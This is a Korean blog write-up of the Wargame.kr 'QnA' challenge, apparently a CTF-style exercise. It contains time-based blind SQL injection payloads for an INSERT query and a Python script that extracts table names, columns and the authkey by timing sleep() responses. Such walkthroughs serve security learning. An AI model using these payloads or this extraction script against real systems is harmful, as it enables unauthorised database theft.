[Wargame.kr] QnA 풀이 (414p)
Wargame/wargame.kr

[Wargame.kr] QnA 풀이 (414p)

풀이

Time based SQLi challenge. (with Insert Query)
you can't see the result after insert query.
but you can SQLi Attack!


이번 문제는 삽질을 좀 많이했다.

INSERT INTO table(cont, text, type) VALUES ('','','') 형태의 쿼리인줄 알고,

test','test2','test3'),(if(1=1, sleep(3),1),0,0)%23

이런 방식으로 수없이 접근했는데.. 여기서 너무 시간을 많이써서, 결국 어디서 Injection이 터지는지 풀이를 참고했다..

다른 부분은 다 확인해봤는데, 유일하게 확인 안했던 type: QnA 부분에서 Injection이 터진다는 걸 보고.. :(

 

아무튼, 어디서 Injection이 터지는 것만 알았으니, 파이썬 time 모듈을 이용해 풀어봤다.

다음은 테이블, 컬럼,  flag를 구할 때 사용한 쿼리문이다.

1 and if(ord(substr((select table_name from information_schema.tables),'+str(i)+',1))='+str(w)+',sleep(2),1)
1 and if(ord(substr((select column_name from information_schema.columns where table_name=0x617574686b6579),'+str(i)+',1))='+str(w)+',sleep(2),1)
1 and if(ord(substr((select authkey from authkey),'+str(i)+',1))='+str(w)+',sleep(2),1)

알맞게 data 값을 바꿔주자.

import requests
import time

url = 'http://wargame.kr:8080/qna/?page=to_jsmaster'
arr = []

for q in range(0,50):
    for i in range(1,50):
        for w in range(32,127):
            cont = 'test'
            text = 'user'
            ttype = '1 and if(ord(substr((select authkey from authkey),'+str(i)+',1))='+str(w)+',sleep(2),1)'

            data = {'cont':cont, 'text':text, 'type':ttype}

            start = time.time()
            html = requests.post(url, data=data)

            if(int(time.time() - start) == 2):
               #print('Answer -> ' + chr(w))
                arr.append(str(chr(w)))
                break
    print(''.join(arr))
    arr = []